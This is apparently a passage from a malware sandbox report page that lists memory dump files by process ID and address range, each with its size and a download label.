                                                                                                                                    1.6MB

                                                                                                                                    Download

                                                                                                                                  • memory/1916-247-0x000002354D440000-0x000002354D4B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1916-225-0x000002354CFB0000-0x000002354CFB2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1916-226-0x000002354CFB0000-0x000002354CFB2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2132-413-0x0000000004D02000-0x0000000004D03000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2156-180-0x00000000017B0000-0x00000000017B9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    36KB

                                                                                                                                    Download

                                                                                                                                  • memory/2156-181-0x0000000000400000-0x00000000016C8000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    18.8MB

                                                                                                                                    Download

                                                                                                                                  • memory/2196-189-0x00000000046B0000-0x000000000470D000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    372KB

                                                                                                                                    Download

                                                                                                                                  • memory/2196-188-0x0000000004810000-0x0000000004911000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.0MB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-379-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-396-0x0000000000400000-0x00000000007A9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.7MB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-397-0x0000000000400000-0x00000000007A9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.7MB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-380-0x0000000002630000-0x0000000002631000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-378-0x0000000002620000-0x0000000002621000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2240-374-0x0000000003520000-0x0000000003521000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2300-187-0x0000000000400000-0x00000000016D9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    18.8MB

                                                                                                                                    Download

                                                                                                                                  • memory/2300-160-0x00000000018F9000-0x0000000001915000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    112KB

                                                                                                                                    Download

                                                                                                                                  • memory/2300-176-0x0000000001740000-0x000000000188A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.3MB

                                                                                                                                    Download

                                                                                                                                  • memory/2332-218-0x0000012347520000-0x0000012347522000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2332-239-0x0000012347770000-0x00000123477E2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/2332-217-0x0000012347520000-0x0000012347522000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2384-215-0x0000025460E90000-0x0000025460E92000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2384-216-0x0000025460E90000-0x0000025460E92000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2384-237-0x0000025461640000-0x00000254616B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/2524-198-0x0000000005D30000-0x0000000005E7C000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.3MB

                                                                                                                                    Download

                                                                                                                                  • memory/2540-211-0x0000015B08960000-0x0000015B089D2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/2540-206-0x0000015B08250000-0x0000015B08252000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2540-204-0x0000015B08250000-0x0000015B08252000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2592-231-0x00000187D49F0000-0x00000187D49F2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2592-232-0x00000187D49F0000-0x00000187D49F2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2592-254-0x00000187D5630000-0x00000187D56A2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/2612-233-0x00000206058C0000-0x00000206058C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2612-236-0x0000020606070000-0x00000206060E2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/2612-234-0x00000206058C0000-0x00000206058C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/2620-375-0x0000000005120000-0x0000000005121000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/2716-194-0x0000000000660000-0x0000000000675000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    84KB

                                                                                                                                    Download

                                                                                                                                  • memory/2884-409-0x00000000020A0000-0x00000000020E4000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    272KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-172-0x00000000054B0000-0x00000000054B1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-175-0x0000000004FA2000-0x0000000004FA3000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-173-0x0000000004E60000-0x0000000004E61000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-169-0x0000000002700000-0x000000000271F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    124KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-167-0x0000000000400000-0x000000000088B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4.5MB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-170-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-171-0x0000000002860000-0x000000000287D000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    116KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-185-0x0000000005AC0000-0x0000000005AC1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-182-0x0000000004FA4000-0x0000000004FA6000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-168-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-174-0x0000000004E90000-0x0000000004E91000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-179-0x0000000004FA3000-0x0000000004FA4000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-199-0x0000000005B40000-0x0000000005B41000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3084-162-0x00000000009E0000-0x0000000000A10000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    192KB

                                                                                                                                    Download

                                                                                                                                  • memory/3400-406-0x00000000001D0000-0x00000000001D8000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                    Download

                                                                                                                                  • memory/3596-209-0x0000018E2E2C0000-0x0000018E2E2C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/3596-213-0x0000018E2E4D0000-0x0000018E2E542000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/3596-373-0x0000018E30E00000-0x0000018E30F05000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.0MB

                                                                                                                                    Download

                                                                                                                                  • memory/3596-207-0x0000018E2E2C0000-0x0000018E2E2C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/3952-130-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3952-147-0x0000000002A30000-0x0000000002A31000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/3952-161-0x000000001B6C0000-0x000000001B6C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-261-0x0000000007F70000-0x0000000007F71000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-191-0x00000000049F0000-0x00000000049F1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-258-0x00000000075B0000-0x00000000075B1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-260-0x0000000007F00000-0x0000000007F01000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-193-0x0000000004B00000-0x0000000004B01000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-192-0x0000000004B50000-0x0000000004B51000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-202-0x0000000007600000-0x0000000007601000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-190-0x00000000049F0000-0x00000000049F1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-197-0x0000000004B02000-0x0000000004B03000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-262-0x0000000007CE0000-0x0000000007CE1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4288-259-0x0000000007E90000-0x0000000007E91000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4336-118-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4336-119-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4384-122-0x0000000002F40000-0x0000000002F41000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4384-124-0x0000000002F40000-0x0000000002F41000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/4420-324-0x0000000000030000-0x0000000000033000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    Download

                                                                                                                                  • memory/4424-252-0x0000000003DC0000-0x0000000003DD0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                    Download

                                                                                                                                  • memory/4424-238-0x0000000003650000-0x0000000003660000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                    Download

                                                                                                                                  • memory/4424-151-0x0000000000030000-0x0000000000033000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    Download

                                                                                                                                  • memory/4612-210-0x00000298E7440000-0x00000298E74B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/4612-200-0x00000298E7050000-0x00000298E7052000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/4612-201-0x00000298E7050000-0x00000298E7052000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/4612-208-0x00000298E7380000-0x00000298E73CD000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    308KB

                                                                                                                                    Download